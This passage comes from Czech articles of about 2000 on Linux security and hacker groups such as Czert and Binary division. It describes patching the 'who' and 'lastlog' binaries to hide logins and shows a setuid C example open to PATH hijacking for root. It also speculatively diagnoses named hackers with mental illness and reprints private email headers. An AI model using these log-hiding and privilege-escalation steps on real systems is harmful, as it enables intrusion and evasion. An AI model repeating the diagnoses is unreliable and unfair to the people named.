uživatele, čte data z /var/run/utmp. Přepíšeme-li v binárce tuto cestu, who přestane pracovat. Vůbec nejlepsí je toto provést s programem lastlog. Ten čte data z /var/log/lastlog. Tento program vypíše uživatele zapsané v /etc/passwd a zobrazí datum jejich posledního přihlášení. Upravíme-li opět cestu v binárce, přestane lastlog fungovat a zobrazuje jenom údaje před modifikací. Toto lze také provést změnou příslušných řádků ve zdrojových kódech programů, ale to je o nečem jiném. Jak vidime, tak Linux je velice zajimavý operační systém a administrátor toho musí znát hodně, aby mohl bojovat s hackery. Jak jsem již řekl, distribucí Linuxu je hodně a některé mohou mít proti těmto aktivitám účinnou ochranu, takže řeč byla o distribucích RedHat. Příště si možná něco řekneme, jak hackeři používají exploity. Popíši některé starší exploity, které již nejsou aktualní, ale jsou v tomto "oboru" klasikou. Vybuchne na českém Internetu časovaná bomba? Původně jsem chtěl napsat další článek a reagovat tak na množství negativních reakcí, které se objevily po zveřejnění článků minulých. Ale je toho příliš mnoho. A také by to možná pro někoho, znělo jako neuvěřitelný sci-fi příběh. Zkusím o tom napsat celou knihu. Ještě nevím, jestli klasickou tištěnou nebo internetovou. O čem bude? Hlavní roli bude hrát Linux a jeho administrátor. Bude o tom, jak jednoduché bylo v minulosti díky Linuxu, připojovat se do Internetu dial-up na účet někoho jiného, jak jednoduché bylo získat k tomu potřebné informace, jak katastrofálně byly zabezpečené linuxové servery, jak díky jednomu nezabezpečenému linuxovemu serveru, lze získat kotrolu nad velkým množstvím dalších serverů, jak mohl mít kdokoli v této republice přístup k Internetu dial-up zadarmo (kromě impusů) aj. Upozorňuji, že všechny potřebné informace, bylo možné získat naprosto legální cestou. Nebylo nutné používat žádné hackerské nástroje ani exploity. Všechny tyto informace, byly volně přístupné téměř všem. Říkam téměř, protože k jejich získání, byla nutná alespoň minimální znalost Linuxu. Možná krátkým příspěvkem bych něco mohl naznačit ne? Nedávno jsem četl na serveru Underground.cz článek, že získání osobních informací o dalších lidech neoprávněným přístupem je v USA těžký zločin. Spáchali jste zločin i v tomto případě? Přijdete k poskytovateli internetových služeb, ten vám zřídí dial-up testovací účet. Nechce znát žádné vaše osobní údaje a přesto vám účet zřídí. Vy přijdete domů, nastavíte svoje "skvělé" Windows a připojíte se do Internetu. Přes FTP se připojíte na server poskytovatele, kde vás systém připojí místo do vašeho domácího adresáře, do adresáře kořenového. Náhodou vás napadne stáhnout si rootův soubor .bash_history. Náhodou v něm najdete osobní informace o dalších lidech. Právě jste spáchal těžký zločin. Nebo ne? Fakt nevím. Nebezpečné soubory v Linuxu Linux jak většina z Vás ví, je víceuživatelský operační systém. Existuje v něm superuživatel root s obrovskými právy a tzv. běžní uživatelé. V praxi se toto dělení většinou projevuje tak, že běžní uživatelé mají omezený přístup k některým souborům a adresářům. Vše záleží na nastavení systému, které provádí uživatel root. Běžní uživatelé většinou nemají přístup k spustitelným souborům, jejichž kód by mohl ohrozit systém. Přesto v Linuxu mohou být soubory, které toto pravidlo porušují. Mají od superuživatele nastaven tzv. suid bit (chmod 4755). Samotný systém tyto soubory vytváří hned při instalaci. Typickým příkladem je program ping nebu su. Tyto soubory nijak systém v normálním stavu neohrožují. Ohrozit systém může špatně napsaný binární program, kterému root nastavý suid bit. Klasickým příkladem špatně napsaného programu, je neuvedení celé cesty k externě volanému příkazu. To lze demonstrovat na jednoduchém příkladu: main() { system("cp /home/jirka/ukoly /root/studenti/"); } Jestliže root, po kompilaci tohoto programu v jazyce C, nastaví vzniklému souboru suid bit, je bezpečnost systému vážně ohrožena. Proč? Protože není uvedena celá cesta k programu cp. V tomto případě, by to mělo být /bin/cp. Každý trochu znalejší uživatel, by snadno mohl získat práva roota, změnou své proměné PATH a podstrčením falešného skriptu cp, napr. do /tmp. Základní pravidlo zni: omezit na minimum používání binárních souborů s nastaveným suid bitem. Setuid programy v Linuxu Dotaz: Dozvěděl jsem se, že některé programy v Linuxu se označují jako root setuid. Údajně mohou ohrozit bezpečnost systému. Potřeboval bych se o tomto problému dozvědět některé podrobnosti. Odpověď: Tyto programy jsou součástí Unixu a později Linuxu již od jeho vzniku. Jejich účelem je dočasné propůjčení vyšších pravomocí běžnému uživateli. Typickým příkladem je program passwd, který umožňuje změnu hesla i běžnému uživateli. Ke změně hesla je nutné právo zápisu do souboru /etc/passwd, které má pouze superuživatel root. Aby si běžný uživatel mohl změnit heslo, použije program passwd, který mu tyto pravomoce dočasně propůjčí. Dalším typickým příkladem použití root setuid programů, je umožnit běžným uživatelům používat porty menší než 1024. Takový port používá např. program rlogin, proto musí mít nastaven setuid bit. Ten může nastavit nebo odebrat uživatel root příkazem chmod. Tyto programy mohou být nebezpečné pouze v případě, že systém používá více uživatelů. Nebezpečí spočívá v tom, že v některém z těchto programů může být chyba, která umožní běžnému uživateli trvalé získání vyšších pravomocí např. tím, že tomuto programu, pomocí jiného speciálního programu podstrčí svůj příkaz, který mu spustí rootshell. Máte-li doma počítač s Linuxem, který používáte pouze Vy, tak není co řešit. Nástupci Czertu - Binary division Rok 2000 je v česko-slovenském počítačovém undergroundu, jednoznačně rokem hackerské skupiny Binary division. Podobně, jako již neexistující hackerská skupina Czert, pozměňují i oni naprosto šokujícím způsobem známé internetové stránky. Zajímavý je fakt, že podobně jako Czert, útočí tato hackerská skupina především na internetové servery, pracující nad některým operačním systémem unixového typu (např. Linux). Chronologie útoků 5.leden 2000, nebyl pro administrátora serveru {www.isdn.cz} ten nejšťastnější. Právě tento server se stal prvním známým cílem Binary division. Hackeři prorazili ochranu serveru a nahradili úvodní stránku svým klasickým logem. Kromě toho zveřejnili skripty, které řídily činnost celého serveru. Ve stejném měsíci napadla tato skupina i méně známý server {www.winroute.cz}. V červnu 2000, napadli tito hackeři web-hostitelský server Nextra.sk a uskutečnili svůj první velký masový hack. Změnili www stránky desítkám firem, který tento server hostil. Ve stejném měsíci úspěšně pozměnili www stránky slovenského HZDS. K tomuto útoku se vrátím podrobněji. V tomto měsíci také pozměnili stránky serveru {www.home.sk}. Pátek 13. října, byl nešťastný pro administrátory serverů post.cz a post.sk. Právě tyto freemailové servery, se staly dalším cílem hackerské skupiny Binary division. Téměř ve stejný okamžik prolomili ochrany těchto serverů a celému světu nabídli hesla všech uživatelů. I když administrátoři zareagovali rychle, pozornosti to neušlo. Jak to bylo s HZDS? Pojďme se podívat na tento útok trochu podrobněji. HZDS mělo svoje internetové stránky umístněny na počítači s Windows NT. I když byl tento počítač připojen do Internetu, nestal se přímým cílem útoku. Hackeři nemají tento systém Microsoftu příliš rádi. K podobným útokům je mnohem výhodnější některý systém unixového typu, např. výše zmíněný Linux. Je to hlavně proto, že lze mnohem lépe tomuto systému zadat vzdáleně nějaký příkaz, s využitím předem známé chyby. Binary division úspěšně zaútočili na tzv. nameserver a pozměnili příslušný záznam v konfiguračním souboru. To mělo za následek to, že každý, kdo napsal ve svém prohlížeči {www.hzds.sk}, byl přesměrovám na jinou, předem připravenou adresu. Co se zde nacházelo je každému jasné-logo Binary division. Další budou následovat? "Stay tuned, more to come". Tak právě tento anglický text se objevuje na jejich hacknutých stránkách. Zatím se vždy naplnil. Kdo bude další oběť? Možná by jsme se mohli zeptat někoho, kdo stál v pozadí záhadného slovenského serveru hysteria.sk. Právě tento server přinášel nečekaně rychle informace o napadených serverech. Podobně rychle reaguje i český server underground.cz. Právě na tomto serveru můžete najít článek, ve kterém se jistá osoba přiznává k úspěšnému útoku na server české armády v roce 1996. Vládnou internetu Hackeři? Odpověď na tuto otázku neznám, ale některé skutečnosti jsou více než alarmující. Měl jsem emailový rozhovor s jedním hackerem ze Slovenska, který má blízko k Binary division o kterých jsem psal minule. Jen špička ledovce? Podle tohoto hackera jsou servery post.cz a post.sk, které úspěšně napadli Binary division pouhou špičkou ledovce. Podle něho, má jenom tato jediná hackerská skupina pod kontrolou desítky internetových serverů v česko-slovenské části sítě sítí. Až se to zdá téměř neuvěřitelné, může to být pravda. Podle FBI, která vyšetřuje útok na interní síť firmy Microsoft, byl veden útok přes tento region. Hackeři tento způsob útoku používají pro zahlazování stop. Tím vůbec nechci naznačit, že Binary division spolupracují se zahraničními hackery. Skenování domén V polovině devadesátých let, kdy propustnost celosvětové pavučiny byla malá, šlo jen velmi těžko provádět tzv. globální skenování sítě. Skenování je podobná činnost, jako např. automatiské ladění tuneru, při kterém se prohledává celý frekvenční rozsah. Hacker dokáže pomocí specialního skeneru prohledat všechny počítače např v doméně cz. Tím získá důležité informace o serverech v doméně, které může použít v další vlně případného útoku. V součastnosti, kdy propustnost celosvětové pavučiny je relativně dobrá, může např. americký hacker bez vetších problémů skenovat evropské domény, včetně cz. Komunikujte šifrovaně Internetem se data šíří většinou v tzv. otevřené formě. To znamená, že lze bez vetších problémů provést jejich odposlech. Tato činnost je tak jednoduchá, že ji lze přirovnat k odposlouchávání hovoru na tel lince. Velké množství hackerských útoků, případně neautorizovaných přístupů má své kořeny v tomto základním bezpečnostním problému dnešního internetu. Přesto i dnes lze komunikovat šifrovaně. Skvělý program PGP, umožňuje šifrovat nejenom el. poštu, ale i soubory na vašem disku. Pracuje na principu veřejného a soukromého klíče. To má mimo jiné tu výhodu, že můžete šifrovaně komunikovat s každým, kdo má váš veřejný klíč. Dokonce jej můžete vystavit na internetu pro každého zájemce. Program PGP lze získat zadarmo na adrese {www.pgp.cz}. Hacking - temná budoucnost digitálního světa Až se jednou mobilní telekomunikační sítě GSM, změní v klasické sítě s paketovým přenosem dat, kde váš mobil bude mít IP adresu, vznikne spolu s internetem obrovská počítačová síť. Již nyní se hacking na internetu stal téměř novým vědeckým oborem. Pojďme proto nahlédnout do této temné místnosti trochu podrobněji. Základní rozdělení Hacking na internetu můžeme rozdělit podle úrovně útoků do dvou skupin. První se nachází na úrovni přenosového protokolu TCP/IP. Tento druh hackingu je velmi náročný a může ohrozit i bezpečné systémy. Jeho teoretický rozbor je složitý, a proto je nad rámec tohoto článku. Typickou aplikací této nekalé činnosti je tzv. únos sezení. Připojíte-li se např. na www server, který má přístup chráněný heslem, může někdo vaší http relaci unést. Znamená to, že se připojí místo vás, aniž by znal vaše přístupuvé heslo. Tento hacking aplikoval mimo jiné i legendární Kevin Mitnick. Druhý druh hackingu se provádí na úrovni operačních systémů, případně aplikací, které nad nimi pracují. Jde o nejznámější a nejrozšířenější hacking vůbec. Většinou využívá chyb operačního systému, aplikace nebo uživatele. Můžeme se na některé nejznámější typy těchto útoků podívat podrobněji. Přehled útoků Útok na hesla - patří historicky k nejstarším hackerským útokům. Hacker využívá speciálního programu na luštění zakódovaných hesel. Útok na bezpečná připojení - Velmi starý druh útoku, který zneužívá tzv. bezpečných připojení známých ve světě Unixu. Falšování IP adresy - Při tomto útoku se hacker a jeho počítač vydává za někoho jiného. Sociální inženýrství - Tento útok je založen na společenském plánování. Vychází z reakce společenské skupiny. S oblibou jej využíval i Kevin Mitnick. Odmítnutí služby - Velmi rozšířený druh hackingu, po kterém napadená služba přestane pracovat. Též označován zkratkou DoS. Brutálnější verze tohoto útoku se označuje jako distribuovaný DoS útok (DDoS). Tento druh útoku byl použit na velké americké servery v lednu tohoto roku. Zranitelnost technologie - Toto jsou klasické hackerské útoky, který využívají veřejně známých chyb programů. Hacker při útoku používá speciální jednoúčelový program, který mu umožní zneužít chybu v programu. Tímto druhem útoků se nechvalně proslavil např. česko-slovenský Czert. Digitální válka začíná! Svět nul a jedniček se pomalu, ale jistě mění ve skutečné bojiště, které je velmi podobmé tomu opravdovému, které naštěstí většina z nás poznala již pouze z filmů. Strategie útoků lidí z Binary division, kteří útočí na relativně dobře zabezpečené servery je toho jasným důkazem. K tomu aby úspěšně napadli např. servery ministerstva vnitra, museli proniknout do méně významných počítačů na internetu. Tyto servery mají většinou špatné nebo téměř žádné zabezpečení. Podobné méně významné servery mohou mít pro útočníky klíčový význam. I v klasické válce musejí agresoři při útoku na větší města dobíjet strategické body, které jim slouží jako zázemí k dalším útokům. Pouze naivní hacker útočí ze svého dial-up účtu přímo na cílový server. Je to samozřejmě také možné, ale riziko odhalení je značné, protože jeden zapomenutý záznam v logovacích souborech, vede většinou k okamžitému odhalení útočníka podle IP adresy a následně podle jeho telefonního čísla, pokud ovšem nepoužil telefonní linku někoho jiného. Tyto servery, které hacker používá k útokům na jiné servery v síti sítí, jsou vlastně obětní beránci. Jejich účelem je zmemožnit odhalení v případě zanechání záznamu v logovacím souboru v cílovém počítači. Největším nepřítelem hackera jsou logovací (záznamové) systémy. Všechno se naštěstí sleduje. Vytočí-li váš faxmodem přístupové telefonní číslo do internetu, je o tomto aktu provedeno hned několik záznamů. Jeden má poskytovatel tel. služby, druhý poskytovatel internetové služby, takže budete-li páchát v celosvětové pavučině něco nekalého, není problém odhalit vaší pravou tvář. Toto všechno ovšem zkušený hacker ví, proto při útocích používá výše naznačený postup. Bohužel, stále je bezpečnosti internetových serverů věnována velmi malá pozornost. Je omylem se domnívat, že stačí zabezpečit jeden důležitý server a ostatní ponechat osudu. Internet je složitý organismus, kde vše spolu úzce souvisí. V české části sítě sítí máme několik serverů, které se věnují bezpečnosti v celosvětové pavučině. Asi nejznámější je {underground.cz}, který se této náročné činnosti věnuje více jak dva roky. Přesto se zdá, že v poslední době nějak od svého původního záměru ustupuje. Zdá se dokonce, že vzniká velmi úzká vazba mezi hackery a tímto serverem. I nechvalně známí lidé z Binary division, umístňují logo tohoto serveru na pozměněné stránky v případě úspěšného útoku. Pravděpodobně tím chtějí naznačit, že další informace o útoku se čtenář dozví právě tam. Hackeři - zbojníci digitálního světa Kdo je to vlastně Hacker? Na podobné téma bylo již popsáno mnoho papíru a zaplněno velké množství diskového prostoru v síti sítí po celém světě. Přesto se názory na toto téma hodně liší. V našich končinách se o hackerech začalo mluvit především v souvislosti s aktivitou hackerské skupiny, která si říkala Czert. Tito hackeři začali v Čechách a na Slovensku měnit obsahy internetových stránek, a nastartovali tak proces, který pokračuje i v součastnosti. Lze jmenovat například přezdívku Binary division nebo ExE. I když jsou tito lidé obdařeni vznešenou touhou pátrat po informacích v elektronických systémech, případně upozorňovat na nalezené chyby, přezdívka Hacker patří někomu úplně jinému. Hackerův manifest Abychom plně pochopili význam slova hacker, musíme se vrátit o mnoho let zpět, a to do doby, kdy byl zveřejněn tzv. Hackerův manifest. Právě toto prohlášení, které vzešlo z kybernetického podsvětí a bylo vysláno do mnoha počítačů na internetu před mnoha lety rádcem, ukrývá tajemství tohoto magického slova. Mimo jiné se v něm píše : "Využíváme služeb, které zde existují, a neplatíme za něco, co by mohlo být za babku, jen kdyby to neměli v rukách nenažraní zazobanci, a vy nás máte za zločince..." Právě v této krátké myšlence je ukryto celé tajemství slova Hacker. Tak, jako skutečný svět má a měl svoje legendární zbojníky, kteří bohatým kradli a chudým dávali, má i digitální svět svoje hrdiny. I oni zveřejňují přístupové údaje k online službám, aby je mohli využívat všichni, a to úplně zadarmo, rozlamují a zveřejňují bezpečnostní kódy k diskům DVD nebo zpřístupňují široké veřejnosti tajné databáze, které mají zůstat v tajnosti a mnoho dalšího. Skutečný hacker si je vědom svých smrtících schopností a používá je pouze výjímečně, podobně jako mistr bojového umění. Největší hacker všech dob Právě tímto honosným titulem je někdy označován duchovní otec operačního systému Linux, bývalý finský student Linus Torvalds. Asi i on si položil v minulosti jednoduchou otázku: proč mají lidé platit za operační systém, když jej mohou mít zadarmo? Vytvořil tedy svůj vlastní operační systém a nabídnul jej prostřednictvím světové pavučiny široké veřejnosti. Postupně se k jeho myšlence připojili další "hackeři", a vytvořili tak plnohodnotný operační systém, který je trnem v oku především firmě Microsoft, která vytváří komerční operační systém Windows. Vytvoření Linuxu je vlasně největším hackerským kouskem v dějinách digitálního světa, protože díky jemu mohou počítač používat úplně všichni a neplatit za software ani korunu. To, že tím vznikají firmě Microsoft velké finanční ztráty, je v tomto případě naprosto legální. Jsou to opravdu zločinci? Ano jsou, ale pouze ti, kteří neoprávněně pronikají do cizích počítačových systémů a mění tam uložená data. Takové jednání lze jednoznačně považovat za trestný čin a nejenom náš právní systém na to pamatuje. Kdo ale opravdu stojí v pozadí těchto zločinů? Kdo těmto lidem umožňuje do počítačových systémů pronikat? Kdo jim k tomu dává potřebné nástroje? Proč je tento druh hackingu tak masově rzšířen? Na podobné otázky existuje v součastnosti jednoznačná odpověď. V pozadí těchto útoků stojí malá skupina vynikajících počítačových odborníků, kteří dokáží odhalovat chyby v počítačových systémech, a navíc jsou schopni napsat jednoduchý program, který využití podobných chyb automatizuje, takže jejich použití zvládne každý průměrný uživatel počítače. Jsou to opravdoví softwaroví kouzelníci, kteří míchají kartami hackingu. Není jich na celém světě mnoho a v České republice není žádný. Jiná je situace například v Polsku. Asi nejznámějším polským odborníkem je Michal Zalewski, který zveřejňuje svoje programy v nejznámější konferenci o bezpečnosti, která se jmenuje Bugtraq. Do podobné konference se může každý uživatel sítě sítí přihlásit a získávat tak nebezpečné hackerské programy. To může každý udělat napříkald na {www.securityfocus.com} nebo nástroje získat z různých veřejných archívů, například z {www.rootshell.com} nebo {packetstorm.security.com} a mnoho dalších. Dokonce existují hackerské vyhledávače, lze jmenovat například {hack.box.sk} nebo {astalavista.box.sk}, které najdete u našich východních sousedů. Kde hledat další: {underground.cz} Monitoruje nejenom hackerské aktivity v Čechach a na Slovensku {hysteria.sk} Bývalé útočiště binárních schizofreniků {www.neknihy.cz} Elektronické knihy o hackerech a hackingu {www.2600.com} Legendární hackerské stránky {www.ccc.de} Chaos Computer Club v Německu {www.hacker.com} Další známé stránky {www.linux.cz} Informace ze světa Linuxu {www.insecure.org} Veřejný archiv různých programů {www.klaphek.nl} Hackerský server v Nizozemí Hackeři stupňují útoky V poslední době se hackerské útoky rozmnožily jako houby po dešti. Mohu jmenovat např. úspěšný útok na český freemailový server post.cz, nebo na interní síť firmy Microsoft, kde hackeři údajně ukradli část zdrojového kódu budoucích Windows. Kdo jsou tito lidé? Hacker je člověk, jehož koníčkem je pronikat do cizích počítačů, s cílem získat např. kompromitující informace kupříkladu čísla kreditních karet. Internet je pro tyto lidi doslova hackerským rájem. Obrovské množství vzájemně propojených počítačů, které jsou proti těmto útokům relativně špatně zabezpečeny, a jejichž množství se bude neustále zvětšovat, představuje pro hackera obrovskou intelektuální výzvu. Další zářezy V polovině osmdesátých let se hackeři soustředili především na vojenské počítače NATO. Nejznámější je případ Němce Markuse Hesse, který kradl informace z vojenských počítačů v USA a prodával je ruské KGB. Že se nejednalo o malé peníze, dokazuje to, že informaci jak pronikat do počítače prodal KGB za sto tisíc marek. V České republice se o hackerech začalo hovořit především v souvislosti s hackerskou skupinou Czert. Tito hackeři žádné informace nekradli, pouze měnili obsah webových stránek. Můžeme jmenovat například nepěknou změnu stránek armády České republiky v roce 1996. Narušitelé měli dokonce svoje internetové stránky na serveru hysteria.sk, který před několika dny ukončil svoji činnost. V poslední době je velmi aktivní, pravděpodobně česko-slovenská hackerská skupina Binari divizion, která má na svědomí mimo jiné i výše jmenovaný freemailový server post.cz a post.sk. Pozor i doma Běžný domácí uživatel, který se připojuje k internetu modemem, nemusí mít z hackerů téměř žádný strach. Součástí celosvětové pavučiny je pouze v době připojení, takže pravděpodobnost klasického hackerského útoku, který představuje průnik do počítače a následné získání práv administrátora je minimální. Přesto jisté nebezpečí hrozí. Přijde-li vám elektronickou poštou binární, nebo jiný spustitelný soubor, nikdy jej nespouštějte. Jestliže to uděláte, může to mít pro váš počítač katastrofální následky. Tyto soubory mají většinou příponu exe, vbs nebo js. Telefonní pirátství V poslední době se velmi rozšířilo tzv. telefonní piráctví. Princip spočívá v tom, že bez vašeho vědomí se spustí ve vašem počítači aplikace, která změní nastavení telefonického připojení sítě. Ta vás následně připojí do sítě sítí přes nějakou exotickou zemi. Místo patnácti korun za hodinu, zaplatíte třeba několik tisíc. Rozhodně je lepší nenavštěvovat internetové stránky pochybného původu a nespouštět neznámou přílohu elektronické pošty. Přesto je dobré občas zkontrolovat číslo, které váš modem vytáčí při připojování k internetu. Osobní data v ohrožení Samozřejmostí je používat nejnovější verze prohlížečů. Ty starší, mohou obsahovat vážné chyby, které někdy umožňují zlomyslnému administrátorovi, na jehož server se připojíte, proniknout do vašeho počítače a ukrást například vaše osobní údaje. To už se dostáváme k takzvanému hi-tech hackingu. Tito velmi zkušení hackeři, pracují většinou v prostředí operačního systému Unix, ve kterém dokáží doslova kouzlit. Z tajemné kuchyně hackingu Jak na hackery Již několikrát jsem v naší počítačové příloze psal o hackerech a jejich metodách. Samozřejmě, že nelze určit univerzální návod, jak hackeři provádějí svojí nekalou činnost v praxi, protože hacking na světové pavučině je příliš rozsáhlý a složitý. Propojují se v něm například sociální inženýrství s čistě technickou problematikou, kterou ještě umocňují chyby správců systémů apod. Tak, jako hackeři velmi rádi používají výše zmiňované sociální inženýrství, můžeme také my, pomocí podobných metod hackery vystopovat, případně je úplně odhalit. Dnes tolik populární změny internetových stránek známých společností, nám jsou velmi dobrým vodítkem. I když si možná hacker myslí, že změnou své stránky nezanechal žádnou stopu, hluboce se mýlí. Nejde samozřejmě o logy, které každý zkušený hacker dokáže smazat nebo dokonce nalíčit falešné. Dlouhodobím sledováním hackerů, analýzou jejich textů na pozměněných stránkách, lze dosáhnout velmi zajímavých výsledků. Největší chybu udělá hacker tehdy, jestliže je současně také aktivním autorem odborných článků na internetu nebo v tisku. Jestliže pak na pozměněné stránce použije vlastní text, který si k tomuto účelu vymyslí, není pro zkušeného analytika velký problém přijít hackerovi na stopu. Kromě toho jsou tady další signály, které pomůžou postupně vytvořit celkovou mozajku. Podezření se zvětšuje Aktivitou hackerů se zabývám již delší dobu, takže mám samozřejmě určité podezření na některé skupiny a dokonce již na konkrétní jména. Hodně napoví například malá písmena na začátku vět, slovní obraty, které se opakují v některých článcích na internetu, a jsou také použity na pozměněných stránkách. Chce to určitou zkušenost a cit, a především dlouhodobě monitorovat a analyzovat texty na síti sítí od různých autorů, a tím si postupně vytvářet okruh podezřelých. Z této pasti není úniku, ale rozhodně se nejedná o žádný přímý důkaz. Podobnou činnost provádějí například Bezpečnostní informační služby. Hacker se proti tomu může bránit tak, že použije citáty nebo texty někoho jiného, nebo textu je tak málo, že z něho nelze zachytit žádnou informaci tohoto druhu. Podstata těchto metod je známá již mnoho desítet let. Každý člověk má určitý styl písemného vyjadřování. I když světová pavučina je v tomto směru dokonalý anonymizér, přesto každý člověk používá například určitých slov opakovaně, v určité souvislosti nebo něco cíleně zdůrazňuje. Jsou to nemocní lidé? Například hacker, který si říká ExE, je odborník na počítačovou bezpečnost a má poruchu myšlení, která se nazývá Obsedantně kompulsivní porucha. Obsese jsou v tomto případě vtíravé představy, že neustále musí hledat nějaké chyby v počítačových systémech. To následně vyvolává nutkavé jednání, že na to musí nějak upozornit v případě, že nějakou chybu v počítačovém systému najde. Takové jednání se pak odborně nazývá kompulse. Hacker, který opakovaně mění www stránky je v podstatě duševně nemocný člověk a měl by se léčit u psychiatra, což samozřejmě není žádná novinka. Podobně jako tzv. hacker, který si říká Binary division. Ten se veřejnosti snaží vnutit představu, že jde o organizovanou skupinu více lidí, což je také nesmysl. Podobně jako pro teroristy, tak také pro hackery je největším nepřítelem nezájem médií. Proto si vybírají známé servery, jejichž případné napadení neunikne jejich pozornosti, a dostávají se tak do hlavních večerních zpráv, což ještě více upevňuje vazbu mezi vtíravou představou a nutkavým jednáním. Většina z nich používá pro práci v internetu pouze operační systém Linux. Právě někteří poštovní klienti nad tímto operačním systémem umožňují zapsat libovolný text do hlavičky odesílané poštovní zprávy. V jednom takovém emailu jsem již objevil text, ve kterém se odesílatel jasně identifikoval s hackerskou přezdívkou Binary division. Proč to dělá? Bohužel to nevím, ale snad se to dozvím později. Z tajemné kuchyně hackingu II Hackerské útoky na celosvětové pavučině jsou stále častější a stávají se samozřejmou součástí života na internetu. Dokonce vznikají celé virtuální zločinecké organizace, které spolu vedou digitální válku. Posledním případem je stále pokračující virtuální souboj mezi hackery Číny a USA, kde si obě strany vzájemně napadají stovky www serverů. Hackování je stále jednodušší V minulosti, byl každý úspěšný hackerský útok považován za něco zcela mimořádného. Podobná činnost byla výsadou pouze několika geniálních počítačových odborníků, kteří svoje umění drželi v tajnosti. Dnes je možné na síti sítí sehnat obroské množství nebezpečných programů, jejichž ovládání je ďábelsky jednoduché, takže jej zvládne i desetiletý školák. Například ve slovenské části světové pavučiny byl mezi hackery velmi populární server {hysteria.sk}, který naštěstí již ukončil svoji činnost. Obsahoval totiž kromě nebezpečných hackerských programů i generátor virů. Jak to funguje? Většina uživatelů světové pavučiny, má slovo internet asociován s www prohlížečem, většinou od firmy Microsoft, do kterého se někam napíše adresa a pak se jenom čeká. Podobně je to i s elektronickou poštou. Uživatel pouze klepne na příslušné tlačítko a pošta se zároveň odešle i přijme. Ve skutečnosti je internet mnohem rafinovanější. Jedná se i velmi složitý tzv. interaktivní systém, kde spolu komunikují nejenom uživatelé prostřednictvím aplikací, ale i různé serverové programy nezávisle na uživatelých sítě. Abychom částečně pochopili, jak vlastně internet funguje, můžeme udělat malý pokus. Součástí každého programového balíku pro TCP/IP je program Telnet. Pomocí tohoto programu se můžete připojovat na různé porty, kde pracují různé serverové programy, které nabízejí rozmanité služby. Například na portu číslo 110 funguje služba pop3, pomocí které se stahuje elektronická pošta. Služba je realizována pop3 serverem. Pomocí výše jmenovaného programu telnet, můžete tomuto serveru ručně zadat desítky příkazů, které akceptuje. Jsme u jádra problému. Ten problém spočívá v tom, že zlomyslný uživatel může zadávat i příkazy, které vzdálený server nezná. Je-li ovšem program, který tyto příkazy vyhodnocuje dobře napsán, dokáže se s tím úspěšně vyrovnat. Někdy se však stane, že program může obsahovat chybu, v důsledku které reaguje zcela neočekávaně, včetně možnosti nežádoucího provedení příkazu na úrovni operačního systému. Pak stačí útočníkovi podobnou chybu podrobně zmapovat a napsat program, která využití této chyby automatizuje. Takový program se odborně nazývá exploit. Závěr Výše naznačené schéma je velmi zjednodušené, protože skuteční počítačoví odborníci nehledají chyby tímto způsobem, ale analyzují přímo zdrojové texty příslušných programů. Takový postup je možný pouze u tzv. open source software, kde zdrojové kódy programů jsou veřejně přístupné. Jak na hackery? Tak tady jsem vám představil jednu lahůdku, jak lze také honit hackery: From - Tue Nov 02 19:06:04 1999 Received: from surf.interdata.cz ([194.213.33.70]) by smtp.kamarad.cz with Microsoft SMTPSVC(5.5.1877.197.19); Mon, 1 Nov 1999 19:36:44 +0100 Received: from radek (radek.interdata.cz [195.39.8.124]) by surf.interdata.cz (8.9.3/8.9.3) with SMTP id TAA13435 for <{srptvi@kamarad.cz}>; Mon, 1 Nov 1999 19:37:35 +0100 Message-ID: <000701bf2497$ff121520${7c0827c3@interdata.cz}> From: "Radek Andrs" <{radek@interdata.cz}> To: <{srptvi@kamarad.cz}> References: <{381C6091.5E8E@kamarad.cz}> Subject: Re: dotaz Date: Mon, 1 Nov 1999 19:36:22 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Return-Path: {radek@interdata.cz} X-Mozilla-Status: 0011 Content-Length: 881 ----- Původní zpráva ----- Od: <{srptvi@kamarad.cz}> > Mame na nasi skole problem s hackery. Proto take pisu castecne jako > anonym. > Omlouvam se. Neslo by nejak prinutit system Linux, aby logoval jinam nez > do souboru /var/log/wtmp ? Tento soubor totiz neobsahuje korektni > informace. > Nebo ho nekdo neustale "cisti". Zjistil jsem, ze prikaz last, bez > dalsich > parametru hleda standartne soubor wtmp ve /var/log/. > Ale zadate li last -f /cesta_k_souboru tak hleda jiny. No nejsem zas az takovy odbornik na Linux, nicmene me napadlo asi nejjednodussi (castecne ) reseni. Co takhkle zkusit kazych napr 15 minut (napr v cronu) prekopirovat wtmp (ten stary nastavit pak na nulovou delku "/dev/null > wtmp") nekam jinam (treba na soubor "logovani") a porad k nemu pripojovat. No a pak lastem precist tenhle soubor. S pozdravem Radek Andrs INTERDATA From - Tue Nov 02 19:06:09 1999 Received: from kocour.ms.mff.cuni.cz ([195.113.17.190]) by smtp.kamarad.cz with Microsoft SMTPSVC(5.5.1877.197.19); Tue, 2 Nov 1999 09:21:59 +0100 Received: from localhost ({macok@localhost}) by kocour.ms.mff.cuni.cz with ESMTP (8.7.1/8.7.1) id JAA18309 for <{srptvi@kamarad.cz}>; Tue, 2 Nov 1999 09:21:38 +0100 (MET) Date: Tue, 2 Nov 1999 09:21:38 +0100 (MET) From: Martin Macok <{macok@kocour.ms.mff.cuni.cz}> Reply-To: {martin.macok@st.ms.mff.cuni.cz} To: {srptvi@kamarad.cz} Subject: Re: dotaz In-Reply-To: <{381C5F76.37F6@kamarad.cz}> Message-ID: <{Pine.HPX.4.20.9911020842200.18243-100000@kocour.ms.mff.cuni.cz}> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-2 Content-Transfer-Encoding: QUOTED-PRINTABLE Return-Path: {macok@kocour.ms.mff.cuni.cz} X-Mozilla-Status: 0011 Content-Length: 3967 On Sun, 31 Oct 1999 {srptvi@kamarad.cz} wrote: > Dobry den >=20 > Obracim se na Vas jako na odbornika na Linux. Za odbornika se rozhodne nepovazuji. > Mame na nasi skole problem s hackery. Proto take pisu castecne jako > anonym. To je podle mne zbytecne ;-) > Omlouvam se. Neslo by nejak prinutit system Linux, aby logoval jinam nez > do souboru /var/log/wtmp ? Tento soubor totiz neobsahuje korektni > informace. Podle meho nazoru ano, ale nebylo by to tak jednoduche, ze by se to napsalo do nejakeho konfiguracniho souboru ... Bylo by potreba zmenit zdrojak "init" (ten proste pise do /var/log a ne jinam) a ostatnich dulezitych programu (ktere wtmp pouzivaji) a prekompilovat je. Nicmene je jen otazkou casu, 